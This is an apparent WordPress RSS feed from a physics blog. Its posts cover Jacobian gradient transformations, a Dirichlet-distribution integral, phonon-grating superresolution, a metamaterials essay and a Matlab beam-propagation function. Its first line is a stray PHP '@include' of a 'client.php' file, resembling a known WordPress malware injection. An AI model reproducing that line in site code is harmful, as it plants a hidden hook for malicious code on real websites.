@include( ABSPATH . WPINC . '/client.php');<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Posts technical---or quite simplistic &#187; physics</title>
	<atom:link href="http://dnquark.com/blog/tag/physics/feed/" rel="self" type="application/rss+xml" />
	<link>http://dnquark.com/blog</link>
	<description>Threads both sad and humoristic / небрежный плод моих забав ...</description>
	<lastBuildDate>Mon, 04 Jun 2012 12:00:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Gradient transformations</title>
		<link>http://dnquark.com/blog/2012/06/gradient-transformations/</link>
		<comments>http://dnquark.com/blog/2012/06/gradient-transformations/#comments</comments>
		<pubDate>Mon, 04 Jun 2012 11:58:12 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[physics]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/?p=342</guid>
		<description><![CDATA[From the "I keep having to re-derive this because the Wikipedia explanation sucks" department, here are the transformation rules for differentials and for the gradient in terms of the Jacobian (you can think of this as an adaptation of the simple multivariate chain rule).  Of course, the real story is quite a bit more interesting [...]]]></description>
			<content:encoded><![CDATA[<p>From the "I keep having to re-derive this because the Wikipedia explanation sucks" department, here are the transformation rules for differentials and for the gradient in terms of the Jacobian (you can think of this as an adaptation of the simple multivariate chain rule).  Of course, the real story is quite a bit more interesting and nuanced, and revolves around the fact that gradient components live in the <em>dual </em>space -- hence the strange inverse transpose Jacobian transformation law.  For an elementary, yet rather insightful and detailed discussion I would recommend Koks' <em>Explorations in Mathematical Physics</em> (Chapter 8).<a href="http://dnquark.com/blog/wp-content/uploads/2012/06/coord1.png"><img class=" wp-image-343 aligncenter" title="coord1" src="http://dnquark.com/blog/wp-content/uploads/2012/06/coord1.png" alt="" width="500" height="251" /></a></p>
<p><a href="http://dnquark.com/blog/wp-content/uploads/2012/06/coord2.png"><img class=" wp-image-344 aligncenter" title="coord2" src="http://dnquark.com/blog/wp-content/uploads/2012/06/coord2.png" alt="" width="505" height="270" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/06/gradient-transformations/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Integrating Dirichlet distributions</title>
		<link>http://dnquark.com/blog/2012/05/integrating-dirichlet-distributions/</link>
		<comments>http://dnquark.com/blog/2012/05/integrating-dirichlet-distributions/#comments</comments>
		<pubDate>Tue, 29 May 2012 08:06:06 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[math]]></category>
		<category><![CDATA[physics]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/?p=325</guid>
		<description><![CDATA[I've been learning a whole lot about PGMs and machine learning lately.  I don't consider it straying too far from my physics roots, in light of the fact that many juicy bits of contemporary AI, such as Markov random fields or Metropolis-Hastings sampling originated in physics.  This connection notwithstanding, my background doesn't give me that [...]]]></description>
			<content:encoded><![CDATA[<p>I've been learning a whole lot about PGMs and machine learning lately.  I don't consider it straying too far from my physics roots, in light of the fact that many juicy bits of contemporary AI, such as Markov random fields or Metropolis-Hastings sampling originated in physics.  This connection notwithstanding, my background doesn't give me <em>that</em> great of an advantage -- most of the time.  A few days ago, however, I was able to apply one delicious trick I knew in order to work out the integral of a Dirichlet distribution, and I can't help sharing it here.  This story has it all -- Fourier representation of the Dirac delta, Gamma functions, Laplace transforms, sandwiches, Bromwiches -- and yet it all fits into a pretty simple narrative.</p>
<p>Our story starts on a stormy summer night, with our protagonist grappling with the following question:  how on Earth do you take this integral?</p>
<p style="text-align: center;"><span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_4baa2044c5e871bb41e9a3da74f9f58d.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="\int_{\theta_1}\cdots\int_{\theta_k} \prod_{j=1}^k\theta_j^{\alpha-1} d\theta_1\cdots d\theta_k" /></span><script type='math/tex'>\int_{\theta_1}\cdots\int_{\theta_k} \prod_{j=1}^k\theta_j^{\alpha-1} d\theta_1\cdots d\theta_k</script></p>
<p>Variables <span class='MathJax_Preview'><img src='http://dnquark.com/blog/wp-content/plugins/latex/cache/tex_cb0e17d96e58d55d1eb06dc1b14b7a7b.gif' style='vertical-align: middle; border: none; padding-bottom:2px;' class='tex' alt="\theta_j" /></span><script type='math/tex'>\theta_j</script> here are multinomial parameters, and thus must be non-negative and sum to 1.  In a valiant (but ultimately futile) effort to avoid doing this integral by myself, I found <a href="http://memming.wordpress.com/2010/09/09/integration-of-product-of-functions-on-a-probability-simplex/">this blog post</a> -- which was a good start, and would allow me to casually drop terms like "integration over a simplex" or "k-fold Laplace convolution".  But it turns out that we can get away with something much simpler than this simplex business.  When faced with some constraint in an integrand, a physicist's instinct is to express it as a Dirac delta and integrate right over it.  For the problem above, this approach works like magic!  Without giving too much away, here's the punchline:</p>
<p><a href="http://dnquark.com/blog/wp-content/uploads/2012/05/delta_lapl_gamma_win.png"><img class="wp-image-339 aligncenter" title="delta_lapl_gamma_win" src="http://dnquark.com/blog/wp-content/uploads/2012/05/delta_lapl_gamma_win.png" alt="" width="449" height="85" /></a></p>
<p>Want to know more?  Because I've been on a Xournal/youtube binge lately, I narrated this derivation and put it up for the world to see.  <a href="http://dnquark.com/blog/wp-content/uploads/2012/05/dirichlet.xoj_.pdf">Here are the "slides"</a>  and below is the actual video.  Enjoy!</p>
<p><iframe width="500" height="281" src="http://www.youtube.com/embed/cv7ESInBhbs?fs=1&#038;feature=oembed" frameborder="0" allowfullscreen></iframe></p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/05/integrating-dirichlet-distributions/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Shake that grating</title>
		<link>http://dnquark.com/blog/2012/01/shake-that-grating/</link>
		<comments>http://dnquark.com/blog/2012/01/shake-that-grating/#comments</comments>
		<pubDate>Sun, 22 Jan 2012 06:00:00 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[nanophotonics]]></category>
		<category><![CDATA[physics]]></category>
		<category><![CDATA[research]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/2012/01/research-highlights/</guid>
		<description><![CDATA[Using phonon scattering and temporal degreees of freedom for superresolution at the nanoscale (This means "we can see very small things if we shake them just right".) Have you ever wondered why we can't see viruses under a microscope? The answer to this question is the diffraction limit. But what is the diffraction limit, exactly? [...]]]></description>
			<content:encoded><![CDATA[<div id="outline-container-1" class="outline-2">
<h2 id="sec-1">Using phonon scattering and temporal degreees of freedom for superresolution at the nanoscale</h2>
<div class="outline-text-2" id="text-1">
<p> (This means "we can see very small things if we shake them just right".) </p>
<p> Have you ever wondered why we can't see viruses under a microscope?  The answer to this question is the diffraction limit.  But what is the diffraction limit, exactly?  In signals processing terms, it is the spatial frequency bandwidth for propagating optical waves.  Using optical microscopes to look at a 130 nm flu virus is akin to trying to pick out the sounds of piccolos in a Strauss concerto, over a very bad cell phone connection.  You can probably discern the piccolos if you are right in the concert hall, but the task is hopeless for someone on the other end of the line.  Likewise, in optics, you can see arbitrarily small things &ndash; provided you are close enough to them so that you can pick up the signal from "the piccolos" (in physics, we call them <i>evanescent waves</i>).  That is to say, your detector must be placed in the "near field", which is the area less than a micron from the object. </p>
<p> This, unfortunately, is not always practical or easy to do.  But over the years researchers have come up with various tricks to get around the bandwidth problem. One conceptual approach is to take the high frequency information, encode it using low-frequency data, transmit it to the far-field detector, and decode it there.  This idea has been around for several decades, but the encoding/decoding step is nontrivial to accomplish, and so this scheme hasn't seen adoption in applications. </p>
<p> Recently, we came up with an unusual new way to perform the high spatial frequency encoding, which may turn this around.  In order to lower the spatial frequency of the light wave for transmission, it is necessary to scatter its evanescent components on some periodic subwavelength structure.  We showed that this is possible to do with a dynamic phonon grating, validating <a href="http://eng.jhu.edu/wse/magazine-spring-11/item/the-light-manipulator/">Jacob Khurgin's</a> original idea. </p>
<p> The phonon grating creates a periodic potential that converts evanescent waves to propagating optical signals.  Because it's a dynamic structure, there is much flexibility in encoding and processing the signal.  Most intriguingly, phonon scattering is associated with the temporal frequency (i.e. energy) shift of the incident photons.  Because of this, it is possible to uniquely detect the scattered signal in the far field using coherent detection, greatly simplifying the decoding step. </p>
<p> <a href="http://www.opticsinfobase.org/abstract.cfm?URI=oe-19-22-22350">This paper</a> was a long time in the making, and it is <a href="http://www.nature.com/nphoton/journal/v6/n1/full/nphoton.2011.343.html">finally getting some attention</a>, perhaps due to the fact that nano-opto-mechanics with phonons is becoming a popular research area.  It's about time the lattice vibration quasiparticles got some good publicity, they certainly deserve it! </p>
<p> A related project, in which we model a system where the scattering is performed by a chirped anisotropic nanostructure (but ultra-high frequency vibrations are still used to aid coherent detection) also got published very recently. In fact, it is <a href="http://link.aip.org/link/doi/10.1063/1.3673470">the first article in the first 2012 issue of APL</a> (<a href="http://www.mendeley.com/download/public/17230/4607279695/0ca8bc4e5dca5ad30039f7050e682420ce832823/dl.pdf">mendeley link</a>).  I am currently taking the corresponding issue/article designation of {100,011101} as a divine sign that I should do more programming projects.  (I believe that in the coming few months the Almighty will be pleased on that angle.) </p>
</div></div>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2012/01/shake-that-grating/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Physics (v.4): a metamaterials manifesto</title>
		<link>http://dnquark.com/blog/2011/01/physics-v-4-a-metamaterials-manifesto/</link>
		<comments>http://dnquark.com/blog/2011/01/physics-v-4-a-metamaterials-manifesto/#comments</comments>
		<pubDate>Thu, 20 Jan 2011 06:00:00 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[essay]]></category>
		<category><![CDATA[metamaterials]]></category>
		<category><![CDATA[physics]]></category>
		<category><![CDATA[research]]></category>

		<guid isPermaLink="false">http://dnquark.com/blog/2011/01/physics-v-4-a-metamaterials-manifesto/</guid>
		<description><![CDATA[In studying physics, asking very simple questions often puts one at the forefront of current research and, indeed, opens whole new research areas. The field of metamaterials was developed over the last decade by posing fundamentally simple queries: can light refract negatively? What are the basic limits on the wavelength of light inside materials? What [...]]]></description>
			<content:encoded><![CDATA[<p>In studying physics, asking very simple questions often puts one at the forefront of current research and, indeed, opens whole new research areas.  The field of metamaterials was developed over the last decade by posing fundamentally simple queries: can light refract negatively?  What are the basic limits on the wavelength of light inside materials?  What would happen if different components of the electric field vector in a light beam experienced a radically different electromagnetic environment?</p>
<p>As one digs further, the questions become increasingly complex and specific; not all of them will have good answers, and not all of them will even be good questions.  It is easy to start getting lost and discouraged.  When this happens, you can run back up the rabbit hole to the gleaming edifice of one of the basic equations.  For me, this refuge is the manifestly covariant form of Maxwell's electrodynamics.</p>
<p>I have worked with Maxwell's equations for many years, in many different forms.  Down there, in the rabbit hole, they are in their work attire, sporting unsightly divergences and curls, with constituent parameters dangling awkwardly from the field components.  But here, out in the open, they are barely recognizable, dressed up as tensors and 4-vectors, conversing in classical Greek.  You'd be a fool to mistake the Levi-Civita symbol for the dielectric constant.  In this form, they are the equations of Einstein and Feynman, they are shining peaks in the landscape of modern physics. And yet, they are also my equations.  I'm adding my strokes, however tentative and insignificant, alongside those of the greats.  This gives me the inspiration to carry on.</p>
<p>Back down the rabbit hole I go: I'm on a mission.  Optics has always attracted me by the ease with which fundamental electromagnetic and quantum mechanical abstractions become reified – often, in pretty colors – both in a lab setting, as well as in many devices that have revolutionized our world.  And yet, many beautiful designs and elegant ideas are doomed to failure, due to inherent limitations of optical materials.  This revolts the avowed idealist in me.</p>
<p>The world of applied physics is rife with trade-offs.  Indeed, many are codified in the fundamental laws, such as the Heisenberg uncertainty principle.  Yet most limitations are mere caprices of Nature, which tailors material parameters to its fickle, oft-inscrutable specifications. Metamaterials offer a tantalizing escape from the status quo.  By custom-designing material properties, we can strike down some of the vexing compromises that limit performance and capabilities of optical devices.  My mission in the rabbit hole that became my Ph.D. thesis is to eliminate the compromise that is holding back all of nanophotonics.</p>
<p>Many of the trade-offs in nanophotonics involve the fundamental differences between metals and dielectrics.  These differences make metals appealing as short-wavelength waveguides, or emission enhancers, yet woefully unsuitable for many other applications.  Dielectrics suffer from a similar fate, in reverse.  Can we create a material that would behave both like a metals and a dielectric?  <em>Yes.</em> Such materials are called <em>hyperbolic</em>, and they can be fabricated using modern metamaterials techniques.  Some rare examples of hyperbolic materials can even be found in nature, but this is of dubious benefit to the contemporary metamaterials ideologue.</p>
<p>Indeed, we are past the age when our building materials were logs and mud, and we are past the age when circuit switching elements operated by thermionic emission.  In the 21st century, we should get past the age when we rely on a few serendipitously found crystals to determine what we can and cannot do with photons.  To be sure, future metamaterials engineers might still need to emerge from the rabbit hole to comprehend the unblemished covariant beauty of Maxwell's equations.  But now, their exact from inside materials will result from our manifest destiny rather than from an accident of fate.</p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2011/01/physics-v-4-a-metamaterials-manifesto/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Academic browsing of the night</title>
		<link>http://dnquark.com/blog/2009/07/academic-browsing-of-the-night/</link>
		<comments>http://dnquark.com/blog/2009/07/academic-browsing-of-the-night/#comments</comments>
		<pubDate>Thu, 23 Jul 2009 09:50:13 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[physics]]></category>

		<guid isPermaLink="false">http://www.dnquark.com/blog/?p=75</guid>
		<description><![CDATA[Reading a paper on "Electromagnetic Interactions of Molecules with Metal Surfaces". It explains Weyl's method for computing fields of a dipole over half-space (apparently much simpler than Sommerfeld's solution). "Consider an oscillating point dipole...." Hmm, what's a dipole?.. (Browse through Jackson chapter 4.) Oh right, spherical harmonics... dipole moment (in general, lowest non-vanishing multipole moment) [...]]]></description>
			<content:encoded><![CDATA[<p>Reading a paper on "Electromagnetic Interactions of Molecules with Metal Surfaces".  It explains Weyl's method for computing fields of a dipole over half-space (apparently much simpler than Sommerfeld's solution).</p>
<p>"Consider an oscillating point dipole...." <em>Hmm, what's a dipole?..</em> (Browse through Jackson chapter 4.)</p>
<p><em>Oh right, spherical harmonics... dipole moment (in general, lowest non-vanishing multipole moment) is independent of origin if net charge is zero...  You technically have to include a delta-function into coordinate-free expression for dipole fields...  Same derivation states the mean value theorem for the fields...  Hmmm, I once learned all those theorems (Browse the web for a bit) </em></p>
<p><em>-- oh right, mean value theorem for the potentials...  and Earnshaw's theorem... </em> Ok, back to the paper...</p>
<p>Paper expresses the dipole as a current source.  <em>Hmm, what's a current source?..</em> (Browse through Jackson chapter 5.)</p>
<p><em>Oh right, Biot-Savart law (Jackson claims it doesn't have a standalone meaning expressed via differential elements but has to be integrated...  and to connect it w/ B fields of a single moving charge is a difficult problem involving relativity) --ok, integrate to get Ampere's law (B=...), take curl, 3 tricks; integrate by parts, get the curl B Maxwell's equation (w/ displacement current).</em></p>
<p>Ok, now how do we connect this to a radiating dipole?...  (Browse forward towards Jackson chapter 9; get distracted by chapter 6:) <em>Hmm, why do we use a Lorenz gauge?.. </em></p>
<p><em>Oh right, it makes our wave equations for all components of the 4-potential look the same...  Hmm, what's a gauge?</em> (Browse Wikipedia.)</p>
<p><em>"QED is the simplest example of one... Hmm, what's QED?.. </em></p>
<p><em>Oh right, it starts out with Dirac equation.  Hmm, what's Dirac equation?.. </em></p>
<p><em> Oh right.  If you take the expression for energy-momentum invariant (E^2-p^2c^2=m^2c^4) and put in operators, you get Klein-Gordon equation -- which can describe spinless scalar particles, but at the time physicists didn't realize such things existed, and the equation didn't give a satisfactory picture of the electrons (why exactly?...) so the search went on.<br />
Dirac wanted something like a Klein-Gordon, but first order in space and time derivatives (why exactly?...)  So what does he do?..  Well, he takes the square root of the operator-form E^2-p^2c^2 -- by prepending some anti-commuting 4x4 matrices to get rid of the cross-terms.  It's so simple and clever.  Just go to Wikipedia and look at the equation.  And then it turns out that he can write his anti-commuting matrices using blocks of Pauli matrices -- which until then served as a phenomenological description of Stern-Gerlach.  Then it turns out that you can write a very simple expression for the Dirac equation that involves Pauli matrices operating on spinors -- but here's the problem: when brought into the rest frame, one of those spinors is a negative-energy eigenstate.  If such states are allowed, then why don't electrons decay into lower and lower energy states until they hit minus infinity?..  So Dirac postulated that the vacuum is actually a sea of electrons filling all the negative energy levels, and any observed negative energy state is just a hole.  BUT -- just like in the electron/hole theory of charge carriers in solid state -- a hole would have to be positively charged!.. Dirac thought it might be a proton; Weyl was one of the first to suggest that maybe there exists a positively-charged electron.  Weyl...<br />
CRAP.  I was supposed to figure out Weyl's dipole solution...</em><br />
p.s. -- creation/annihilation formalism of QFT obviates the need for postulating Dirac's sea</p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2009/07/academic-browsing-of-the-night/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>More beam propagation eyecandy</title>
		<link>http://dnquark.com/blog/2009/07/more-beam-propagation-eyecandy/</link>
		<comments>http://dnquark.com/blog/2009/07/more-beam-propagation-eyecandy/#comments</comments>
		<pubDate>Wed, 08 Jul 2009 08:24:40 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[physics]]></category>
		<category><![CDATA[research]]></category>

		<guid isPermaLink="false">http://www.dnquark.com/blog/?p=56</guid>
		<description><![CDATA[Mathematica's Manipulate[] functionality got me hooked on interactivity, so once I had the beam propagation code running smoothly, I decided to implement a primitive GUI for it -- how hard could it be?..  Wasn't hard, really, but somewhat time consuming and required lots of code.  I mean, order of 100 lines of code to do [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-medium wp-image-58" title="Clipboard01" src="http://www.dnquark.com/blog/wp-content/uploads/2009/07/Clipboard01-300x159.png" alt="Clipboard01" width="300" height="159" />Mathematica's Manipulate[] functionality got me hooked on interactivity, so once I had the beam propagation code running smoothly, I decided to implement a primitive GUI for it -- how hard could it be?..  Wasn't hard, really, but somewhat time consuming and required lots of code.  I mean, order of 100 lines of code to do something that's almost a one-liner in Mathematica.</p>
<p>While it is certainly lacking on the elegance part, it runs fast.  If I had to do it over again, though, I would implement the numerics in Matlab, dump it all into a datafile, read into Mathematica and Manipulate[] away.</p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2009/07/more-beam-propagation-eyecandy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Beam propagation in 15 lines of Matlab</title>
		<link>http://dnquark.com/blog/2009/07/beam-propagation-in-16-lines-of-matlab/</link>
		<comments>http://dnquark.com/blog/2009/07/beam-propagation-in-16-lines-of-matlab/#comments</comments>
		<pubDate>Thu, 02 Jul 2009 10:33:55 +0000</pubDate>
		<dc:creator>dnquark</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[physics]]></category>
		<category><![CDATA[research]]></category>

		<guid isPermaLink="false">http://www.dnquark.com/blog/?p=9</guid>
		<description><![CDATA[I recently returned to examining transmission / reflection properties of anisotropic planar structures, and I figured that this time around I should do it the Right Way (TM), which boils down to: 1. Take legible notes and 2. Stay the hell away from Mathematica for numerics. With both of these, I succeeded beautifully.  Once again, [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignright size-medium wp-image-10" title="Clipboard00" src="http://www.dnquark.com/blog/wp-content/uploads/2009/07/Clipboard00-300x232.jpg" alt="Clipboard00" width="300" height="232" /></p>
<p>I recently returned to examining transmission / reflection properties of anisotropic planar structures, and I figured that this time around I should do it the Right Way (TM), which boils down to:</p>
<p>1. Take legible notes and<br />
2. Stay the hell away from Mathematica for numerics.</p>
<p>With both of these, I succeeded beautifully.  Once again, I have some Matlab code which takes seconds to produce the same results my old Mathematica notebooks would take minutes or hours to compute -- and it's clean, legible, and ran on the first try!</p>
<pre><span>function</span> out = BeamProp1(x,z,kx,kxmask)
    kz0 = sqrt(1 - kx.^2);
    [zz,kk0] = meshgrid(z,kz0);
    fwdPropFieldK = diag(kxmask)*exp(1i.*kk0.*zz);
    clear(<span>'zz'</span>,<span>'kk0'</span><span></span>); <span>%free memory</span>
    out = complex(zeros(length(x),length(z)));
    col = 1;
    [xx,kkx] = meshgrid(x,kx);
    <span>for</span> eKZslice=fwdPropFieldK
        [xx,fld] = meshgrid(x,eKZslice); <span>% diff x's are in columns</span>
        eKX = sum(fld.*exp(1i.*xx.*kkx),1).';
        out(:,col) = eKX;
        col=col+1;
    <span>end</span>
<span>end</span></pre>
<p>Couple of notes on the code: first, it does not handle evanescent fields gracefully: if you put evanescent fields (kx &gt; 1) at the origin, they will exponentially grow for z &lt; 0 and will clobber all other features of the plot.  Second, the code is fully vectorized -- meaning that it sacrifices memory for speed.  The good news is that even though there are 3 vectorized dimensions (x,z,kx), only two of them are put into meshgrid at the same time -- so no 3D matrices to store.  Still, expect to have at least a few tens of megs available when dealing with large fields of view.</p>
]]></content:encoded>
			<wfw:commentRss>http://dnquark.com/blog/2009/07/beam-propagation-in-16-lines-of-matlab/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
